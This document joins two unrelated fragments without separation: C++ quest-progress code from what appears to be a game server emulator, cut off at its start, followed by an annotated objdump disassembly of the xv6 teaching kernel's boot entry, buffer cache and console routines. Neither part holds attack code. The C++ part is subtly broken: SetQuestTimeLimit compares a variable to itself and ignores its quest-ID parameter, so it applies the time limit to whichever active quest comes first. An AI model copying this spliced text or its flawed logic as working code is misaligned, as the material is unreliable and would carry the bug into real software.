lOfs); } void QuestExpProgMng::SetQuestProg(int iEpisode, int iObjIndex, int iState) { if (IsEpisode(iEpisode) == false) { g_Log.Add("[QuestExp] - Error - SetQuestProg : [%s][%s] Ep[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iEpisode); return; } if (gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].GetQuestProgState() != QUESTEXP_PROG_STATE_TIME_LIMIT) { gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].SetQuestProgState(iState); } } bool QuestExpProgMng::ChkQuestIndexIDToEpLimit(DWORD dwQuestInfoIndexID, int iObjIndex) { int iEpisode = GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID); if (IsEpisode(iEpisode) == false) { g_Log.Add("[QuestExp] - Error - ChkEpisodeLimit : [%s][%s] Ep[%d] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iEpisode, dwQuestInfoIndexID); return false; } return true; } bool QuestExpProgMng::ChkQuestIndexIDToQSLimit(DWORD dwQuestInfoIndexID, int iObjIndex) { int iQS = GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID); if (IsQuestSwitch(iQS) == false) { g_Log.Add("[QuestExp] - Error - ChkQuestSwitchLimit : [%s][%s] QS[%d] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iQS, dwQuestInfoIndexID); return false; } return true; } bool QuestExpProgMng::ChkQuestIndexIDToEpAndQSLimit(DWORD dwQuestInfoIndexID, int iObjIndex) { int iQS = GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID); int iEpisode = GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID); if (!ObjectMaxRange(iObjIndex)) { g_Log.Add("[QuestExp] - Error - [%s] [%d]", __FILE__, __LINE__); return false; } if (!IsEpisode(iEpisode)) { g_Log.Add("[QuestExp] - Error - ChkEpAndQSLimit : [%s][%s] Ep[%d] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iEpisode, dwQuestInfoIndexID); return false; } if (!IsQuestSwitch(iQS)) { g_Log.Add("[QuestExp] - Error - ChkEpAndQSLimit : [%s][%s] QS[%d] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iQS, dwQuestInfoIndexID); return false; } return true; } void QuestExpProgMng::QuestMonsterItemDrop(DWORD dwQuestInfoIndexID, OBJECTSTRUCT *lpObj, OBJECTSTRUCT *lpMonsterObj) { int iMaxHitUserIndex = gObjMonsterTopHitDamageUser(lpMonsterObj); if (iMaxHitUserIndex == -1) return; for (int i = 0; i < MAX_QUESTEXP_USER_INFO; i++) { int iEpisode = lpObj->m_PlayerData->m_UserQuestInfo[i].GetEpisode(); int iQS = lpObj->m_PlayerData->m_UserQuestInfo[i].GetQuestSwitch(); if (iEpisode == 0) continue; if (iQS == 0) continue; QuestDropItemInfo *pQuestDropItemInfo = g_QuestExpManager.GetQuestDropItemInfo( GetQuestInfoIndexId(iEpisode, iQS)); if (!pQuestDropItemInfo) continue; if (pQuestDropItemInfo->GetMonsterIndex() != lpMonsterObj->Class) continue; if (ChkQuestMonsterItemDrop(pQuestDropItemInfo)) { pQuestDropItemInfo->GetAskIndex(); int iItemNum = pQuestDropItemInfo->GetItemNum(); int iItemLevel = pQuestDropItemInfo->GetItemLevel(); ItemSerialCreateSend(lpObj->m_Index, lpObj->MapNumber, lpObj->X, lpObj->Y, iItemNum, iItemLevel, 0, 0, 0, 0, iMaxHitUserIndex, 0, 0, 0, 0, 0); g_Log.Add("[QuestExp] Monster Kill Quest Item Drop - MonsterName[%s]: [%s][%s] ItemNum[%d]", lpMonsterObj->Name, lpObj->AccountID, lpObj->Name, iItemNum); } } } bool QuestExpProgMng::ChkQuestMonsterItemDrop(QuestDropItemInfo *pQuestDropItemInfo) { if (pQuestDropItemInfo == nullptr) { return false; } int iRandRate = pQuestDropItemInfo->GetDropRate(); if ((rand() % 10000) < iRandRate) { return true; } else { return false; } } bool QuestExpProgMng::ChkQuestMonsterItemDrop(DWORD dwQuestInfoIndexID) { QuestDropItemInfo *pQuestDropItemInfo = g_QuestExpManager.GetQuestDropItemInfo(dwQuestInfoIndexID); if (pQuestDropItemInfo == nullptr) { return false; } int iRandRate = pQuestDropItemInfo->GetDropRate(); if ((rand() % 10000) < iRandRate) { return true; } else { return false; } } bool QuestExpProgMng::IsQuestDropItem(int iIndex, WORD nType, WORD nLevel) { OBJECTSTRUCT *lpObj = &gObj[iIndex]; for (int i = 0; i < MAX_QUESTEXP_USER_INFO; ++i) { int iEpisode = lpObj->m_PlayerData->m_UserQuestInfo[i].GetEpisode(); int iQS = lpObj->m_PlayerData->m_UserQuestInfo[i].GetQuestSwitch(); if (iEpisode == 0) continue; if (iQS == 0) continue; QuestDropItemInfo *pQuestDropItemInfo = g_QuestExpManager.GetQuestDropItemInfo( GetQuestInfoIndexId(iEpisode, iQS)); if (!pQuestDropItemInfo) continue; UserQuestAskInfo *pUserQuestAskInfo = &lpObj->m_PlayerData->m_UserQuestInfo[i].m_UserQuestAskInfo[ pQuestDropItemInfo->GetAskIndex() - 1]; if (pQuestDropItemInfo->GetItemNum() == nType) { if (!ChkQuestAsk(iEpisode, iIndex)) { g_Log.Add("[QuestExp] - Error - [%s] [%d]", __FILE__, __LINE__); return false; } if (!pUserQuestAskInfo->IsComplete()) { return true; } } } return false; } void QuestExpProgMng::SetQuestTimeLimit(int iObjIndex, DWORD dwQuestIndexID, int iDuration) { OBJECTSTRUCT *lpObj = &gObj[iObjIndex]; for (int i = 0; i < MAX_QUESTEXP_USER_INFO; i++) { int iEpisode = lpObj->m_PlayerData->m_UserQuestInfo[i].GetEpisode(); int iQS = lpObj->m_PlayerData->m_UserQuestInfo[i].GetQuestSwitch(); DWORD dwQuestInfoIndexID = GetQuestInfoIndexId(iEpisode, iQS); if (iEpisode && iQS && dwQuestInfoIndexID == dwQuestInfoIndexID) { lpObj->m_PlayerData->m_UserQuestInfo[i].SetStartDate(GetCurrentDate()); lpObj->m_PlayerData->m_UserQuestInfo[i].SetEndDate(GetExpireDate(iDuration)); lpObj->m_PlayerData->m_UserQuestInfo[i].SetQuestProgState(QUESTEXP_PROG_STATE_TIME_LIMIT); SYSTEMTIME tStartTime; SYSTEMTIME tEndTime; UnixTimeToSystemTime(lpObj->m_PlayerData->m_UserQuestInfo[i].GetStartDate(), &tStartTime); UnixTimeToSystemTime(lpObj->m_PlayerData->m_UserQuestInfo[i].GetEndDate(), &tEndTime); g_Log.Add( "[QuestExp] SetQuestTimeLimit [%s][%s] Ep[%d] QS[%d] StartDate : %d-%.2d-%.2d %.2d:%.2d:%.2d EndDate : %d-%.2d-%.2d %.2d:%.2d:%.2d", lpObj->AccountID, lpObj->Name, iEpisode, iQS, tStartTime.wYear, tStartTime.wMonth, tStartTime.wDay, tStartTime.wHour, tStartTime.wMinute, tStartTime.wSecond, tEndTime.wYear, tEndTime.wMonth, tEndTime.wDay, tEndTime.wHour, tEndTime.wMinute, tEndTime.wSecond); return; } } } #pragma pack (1) struct PMSG_ANS_QUESTEXP_ASK_UPDATE { PBMSG_HEAD2 h; WORD wQS; WORD wEp; BYTE btAskType; int iAskCnt; }; #pragma pack () void QuestExpProgMng::SendQuestAskInfoUpdate(int iEpisode, int iQS, int iAskType, int iAskCount, int iObjIndex) { if (g_ConfigRead.SeasonX == true) { PMSG_ANS_QUESTEXP_ASK_UPDATE pMsg; PHeadSubSetB((LPBYTE) & pMsg, 0xF6, 0x06, sizeof(pMsg)); pMsg.wEp = iEpisode; pMsg.wQS = iQS; pMsg.btAskType = iAskType; pMsg.iAskCnt = iAskCount; IOCP.DataSend(iObjIndex, (LPBYTE) & pMsg, pMsg.h.size); } } time_t QuestExpProgMng::GetCurrentDate() { return time(NULL); } time_t QuestExpProgMng::GetExpireDate(int iDuration) { time_t lExpireTime = time(NULL); lExpireTime += iDuration; return lExpireTime; } bool QuestExpProgMng::CheckExpireDate(time_t lQuestExpireDate) { return this->GetCurrentDate() > lQuestExpireDate; } time_t QuestExpProgMng::GetLeftDate(time_t lExpireDate) { time_t currtime = time(NULL); time_t difftime = lExpireDate - currtime; return difftime; }
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 00 2e 10 80 mov $0x80102e00,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx { 80100049: 83 ec 14 sub $0x14,%esp initlock(&bcache.lock, "bcache"); 8010004c: c7 44 24 04 a0 6e 10 movl $0x80106ea0,0x4(%esp) 80100053: 80 80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010005b: e8 00 40 00 00 call 80104060 <initlock> bcache.head.next = &bcache.head; 80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx bcache.head.prev = &bcache.head; 80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 8010006c: fc 10 80 bcache.head.next = &bcache.head; 8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 80100076: fc 10 80 80100079: eb 09 jmp 80100084 <binit+0x44> 8010007b: 90 nop 8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 da mov %ebx,%edx for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100082: 89 c3 mov %eax,%ebx 80100084: 8d 43 0c lea 0xc(%ebx),%eax b->next = bcache.head.next; 80100087: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100091: 89 04 24 mov %eax,(%esp) 80100094: c7 44 24 04 a7 6e 10 movl $0x80106ea7,0x4(%esp) 8010009b: 80 8010009c: e8 af 3e 00 00 call 80103f50 <initsleeplock> bcache.head.next->prev = b; 801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax 801000a6: 89 58 50 mov %ebx,0x50(%eax) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax 801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax bcache.head.next = b; 801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000ba: 75 c4 jne 80100080 <binit+0x40> } } 801000bc: 83 c4 14 add $0x14,%esp 801000bf: 5b pop %ebx 801000c0: 5d pop %ebp 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 1c sub $0x1c,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi acquire(&bcache.lock); 801000dc: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) { 801000e3: 8b 7d 0c mov 0xc(%ebp),%edi acquire(&bcache.lock); 801000e6: e8 65 40 00 00 call 80104150 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f7: 75 12 jne 8010010b <bread+0x3b> 801000f9: eb 25 jmp 80100120 <bread+0x50> 801000fb: 90 nop 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 58 jmp 80100188 <bread+0xb8> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 4d je 80100188 <bread+0xb8> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100161: e8 da 40 00 00 call 80104240 <release> acquiresleep(&b->lock); 80100166: 8d 43 0c lea 0xc(%ebx),%eax 80100169: 89 04 24 mov %eax,(%esp) 8010016c: e8 1f 3e 00 00 call 80103f90 <acquiresleep> struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100171: f6 03 02 testb $0x2,(%ebx) 80100174: 75 08 jne 8010017e <bread+0xae> iderw(b); 80100176: 89 1c 24 mov %ebx,(%esp) 80100179: e8 b2 1f 00 00 call 80102130 <iderw> } return b; } 8010017e: 83 c4 1c add $0x1c,%esp 80100181: 89 d8 mov %ebx,%eax 80100183: 5b pop %ebx 80100184: 5e pop %esi 80100185: 5f pop %edi 80100186: 5d pop %ebp 80100187: c3 ret panic("bget: no buffers"); 80100188: c7 04 24 ae 6e 10 80 movl $0x80106eae,(%esp) 8010018f: e8 cc 01 00 00 call 80100360 <panic> 80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801001a0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 14 sub $0x14,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 89 04 24 mov %eax,(%esp) 801001b0: e8 7b 3e 00 00 call 80104030 <holdingsleep> 801001b5: 85 c0 test %eax,%eax 801001b7: 74 10 je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001b9: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bc: 89 5d 08 mov %ebx,0x8(%ebp) } 801001bf: 83 c4 14 add $0x14,%esp 801001c2: 5b pop %ebx 801001c3: 5d pop %ebp iderw(b); 801001c4: e9 67 1f 00 00 jmp 80102130 <iderw> panic("bwrite"); 801001c9: c7 04 24 bf 6e 10 80 movl $0x80106ebf,(%esp) 801001d0: e8 8b 01 00 00 call 80100360 <panic> 801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 83 ec 10 sub $0x10,%esp 801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 89 34 24 mov %esi,(%esp) 801001f1: e8 3a 3e 00 00 call 80104030 <holdingsleep> 801001f6: 85 c0 test %eax,%eax 801001f8: 74 5b je 80100255 <brelse+0x75> panic("brelse"); releasesleep(&b->lock); 801001fa: 89 34 24 mov %esi,(%esp) 801001fd: e8 ee 3d 00 00 call 80103ff0 <releasesleep> acquire(&bcache.lock); 80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 80100209: e8 42 3f 00 00 call 80104150 <acquire> b->refcnt--; if (b->refcnt == 0) { 8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx) 80100212: 75 2f jne 80100243 <brelse+0x63> // no one is waiting for it. b->next->prev = b->prev; 80100214: 8b 43 54 mov 0x54(%ebx),%eax 80100217: 8b 53 50 mov 0x50(%ebx),%edx 8010021a: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 8010021d: 8b 43 50 mov 0x50(%ebx),%eax 80100220: 8b 53 54 mov 0x54(%ebx),%edx 80100223: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100226: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 8010022b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->next = bcache.head.next; 80100232: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100235: a1 10 fd 10 80 mov 0x8010fd10,%eax 8010023a: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 8010023d: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 80100243: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 8010024a: 83 c4 10 add $0x10,%esp 8010024d: 5b pop %ebx 8010024e: 5e pop %esi 8010024f: 5d pop %ebp release(&bcache.lock); 80100250: e9 eb 3f 00 00 jmp 80104240 <release> panic("brelse"); 80100255: c7 04 24 c6 6e 10 80 movl $0x80106ec6,(%esp) 8010025c: e8 ff 00 00 00 call 80100360 <panic> 80100261: 66 90 xchg %ax,%ax 80100263: 66 90 xchg %ax,%ax 80100265: 66 90 xchg %ax,%ax 80100267: 66 90 xchg %ax,%ax 80100269: 66 90 xchg %ax,%ax 8010026b: 66 90 xchg %ax,%ax 8010026d: 66 90 xchg %ax,%ax 8010026f: 90 nop 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 1c sub $0x1c,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 89 3c 24 mov %edi,(%esp) 80100282: e8 19 15 00 00 call 801017a0 <iunlock> target = n; acquire(&cons.lock); 80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028e: e8 bd 3e 00 00 call 80104150 <acquire> while(n > 0){ 80100293: 8b 55 10 mov 0x10(%ebp),%edx 80100296: 85 d2 test %edx,%edx 80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea> 8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx 801002a1: eb 25 jmp 801002c8 <consoleread+0x58> 801002a3: 90 nop 801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.r == input.w){ if(myproc()->killed){ 801002a8: e8 03 34 00 00 call 801036b0 <myproc> 801002ad: 8b 40 24 mov 0x24(%eax),%eax 801002b0: 85 c0 test %eax,%eax 801002b2: 75 74 jne 80100328 <consoleread+0xb8> release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp) 801002bb: 80 801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) 801002c3: e8 48 39 00 00 call 80103c10 <sleep> while(input.r == input.w){ 801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801002d3: 74 d3 je 801002a8 <consoleread+0x38> } c = input.buf[input.r++ % INPUT_BUF]; 801002d5: 8d 50 01 lea 0x1(%eax),%edx 801002d8: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 801002de: 89 c2 mov %eax,%edx 801002e0: 83 e2 7f and $0x7f,%edx 801002e3: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx 801002ea: 0f be d1 movsbl %cl,%edx if(c == C('D')){ // EOF 801002ed: 83 fa 04 cmp $0x4,%edx 801002f0: 74 57 je 80100349 <consoleread+0xd9> // caller gets a 0-byte result. input.r--; } break; } *dst++ = c; 801002f2: 83 c6 01 add $0x1,%esi --n; 801002f5: 83 eb 01 sub $0x1,%ebx if(c == '\n') 801002f8: 83 fa 0a cmp $0xa,%edx *dst++ = c; 801002fb: 88 4e ff mov %cl,-0x1(%esi) if(c == '\n') 801002fe: 74 53 je 80100353 <consoleread+0xe3> while(n > 0){ 80100300: 85 db test %ebx,%ebx 80100302: 75 c4 jne 801002c8 <consoleread+0x58> 80100304: 8b 45 10 mov 0x10(%ebp),%eax break; } release(&cons.lock); 80100307: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010030e: 89 45 e4 mov %eax,-0x1c(%ebp) 80100311: e8 2a 3f 00 00 call 80104240 <release> ilock(ip); 80100316: 89 3c 24 mov %edi,(%esp) 80100319: e8 a2 13 00 00 call 801016c0 <ilock> 8010031e: 8b 45 e4 mov -0x1c(%ebp),%eax return target - n; 80100321: eb 1e jmp 80100341 <consoleread+0xd1> 80100323: 90 nop 80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010032f: e8 0c 3f 00 00 call 80104240 <release> ilock(ip); 80100334: 89 3c 24 mov %edi,(%esp) 80100337: e8 84 13 00 00 call 801016c0 <ilock> return -1; 8010033c: b8 ff ff ff ff mov $0xffffffff,%eax } 80100341: 83 c4 1c add $0x1c,%esp 80100344: 5b pop %ebx 80100345: 5e pop %esi 80100346: 5f pop %edi 80100347: 5d pop %ebp 80100348: c3 ret if(n < target){ 80100349: 39 5d 10 cmp %ebx,0x10(%ebp) 8010034c: 76 05 jbe 80100353 <consoleread+0xe3> input.r--; 8010034e: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100353: 8b 45 10 mov 0x10(%ebp),%eax 80100356: 29 d8 sub %ebx,%eax 80100358: eb ad jmp 80100307 <consoleread+0x97> while(n > 0){ 8010035a: 31 c0 xor %eax,%eax 8010035c: eb a9 jmp 80100307 <consoleread+0x97> 8010035e: 66 90 xchg %ax,%ax 80100360 <panic>: { 80100360: 55 push %ebp 80100361: 89 e5 mov %esp,%ebp 80100363: 56 push %esi 80100364: 53 push %ebx 80100365: 83 ec 40 sub $0x40,%esp } static inline void cli(void) { asm volatile("cli"); 80100368: fa cli cons.locking = 0; 80100369: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 80100370: 00 00 00 getcallerpcs(&s, pcs); 80100373: 8d 5d d0 lea -0x30(%ebp),%ebx cprintf("lapicid %d: panic: ", lapicid()); 80100376: e8 f5 23 00 00 call 80102770 <lapicid> 8010037b: 8d 75 f8 lea -0x8(%ebp),%esi 8010037e: c7 04 24 cd 6e 10 80 movl $0x80106ecd,(%esp) 80100385: 89 44 24 04 mov %eax,0x4(%esp) 80100389: e8 c2 02 00 00 call 80100650 <cprintf> cprintf(s); 8010038e: 8b 45 08 mov 0x8(%ebp),%eax 80100391: 89 04 24 mov %eax,(%esp) 80100394: e8 b7 02 00 00 call 80100650 <cprintf> cprintf("\n"); 80100399: c7 04 24 1f 78 10 80 movl $0x8010781f,(%esp) 801003a0: e8 ab 02 00 00 call 80100650 <cprintf> getcallerpcs(&s, pcs); 801003a5: 8d 45 08 lea 0x8(%ebp),%eax 801003a8: 89 5c 24 04 mov %ebx,0x4(%esp) 801003ac: 89 04 24 mov %eax,(%esp) 801003af: e8 cc 3c 00 00 call 80104080 <getcallerpcs> 801003b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf(" %p", pcs[i]); 801003b8: 8b 03 mov (%ebx),%eax 801003ba: 83 c3 04 add $0x4,%ebx 801003bd: c7 04 24 e1 6e 10 80 movl $0x80106ee1,(%esp) 801003c4: 89 44 24 04 mov %eax,0x4(%esp) 801003c8: e8 83 02 00 00 call 80100650 <cprintf> for(i=0; i<10; i++) 801003cd: 39 f3 cmp %esi,%ebx 801003cf: 75 e7 jne 801003b8 <panic+0x58> panicked = 1; // freeze other CPU 801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 801003d8: 00 00 00 801003db: eb fe jmp 801003db <panic+0x7b> 801003dd: 8d 76 00 lea 0x0(%esi),%esi 801003e0 <consputc>: if(panicked){ 801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx 801003e6: 85 d2 test %edx,%edx 801003e8: 74 06 je 801003f0 <consputc+0x10> 801003ea: fa cli 801003eb: eb fe jmp 801003eb <consputc+0xb> 801003ed: 8d 76 00 lea 0x0(%esi),%esi { 801003f0: 55 push %ebp 801003f1: 89 e5 mov %esp,%ebp 801003f3: 57 push %edi 801003f4: 56 push %esi 801003f5: 53 push %ebx 801003f6: 89 c3 mov %eax,%ebx 801003f8: 83 ec 1c sub $0x1c,%esp if(c == BACKSPACE){ 801003fb: 3d 00 01 00 00 cmp $0x100,%eax 80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2> uartputc(c); 80100406: 89 04 24 mov %eax,(%esp) 80100409: e8 d2 53 00 00 call 801057e0 <uartputc> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010040e: bf d4 03 00 00 mov $0x3d4,%edi 80100413: b8 0e 00 00 00 mov $0xe,%eax 80100418: 89 fa mov %edi,%edx 8010041a: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010041b: be d5 03 00 00 mov $0x3d5,%esi 80100420: 89 f2 mov %esi,%edx 80100422: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100423: 0f b6 c8 movzbl %al,%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100426: 89 fa mov %edi,%edx 80100428: c1 e1 08 shl $0x8,%ecx 8010042b: b8 0f 00 00 00 mov $0xf,%eax 80100430: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100431: 89 f2 mov %esi,%edx 80100433: ec in (%dx),%al pos |= inb(CRTPORT+1); 80100434: 0f b6 c0 movzbl %al,%eax 80100437: 09 c1 or %eax,%ecx if(c == '\n') 80100439: 83 fb 0a cmp $0xa,%ebx 8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f> else if(c == BACKSPACE){ 80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx 80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156> crt[pos++] = (c&0xff) | 0x0700; // black on white 8010044e: 0f b6 db movzbl %bl,%ebx 80100451: 80 cf 07 or $0x7,%bh 80100454: 8d 79 01 lea 0x1(%ecx),%edi 80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1) 8010045e: 80 if(pos < 0 || pos > 25*80) 8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi 80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a> 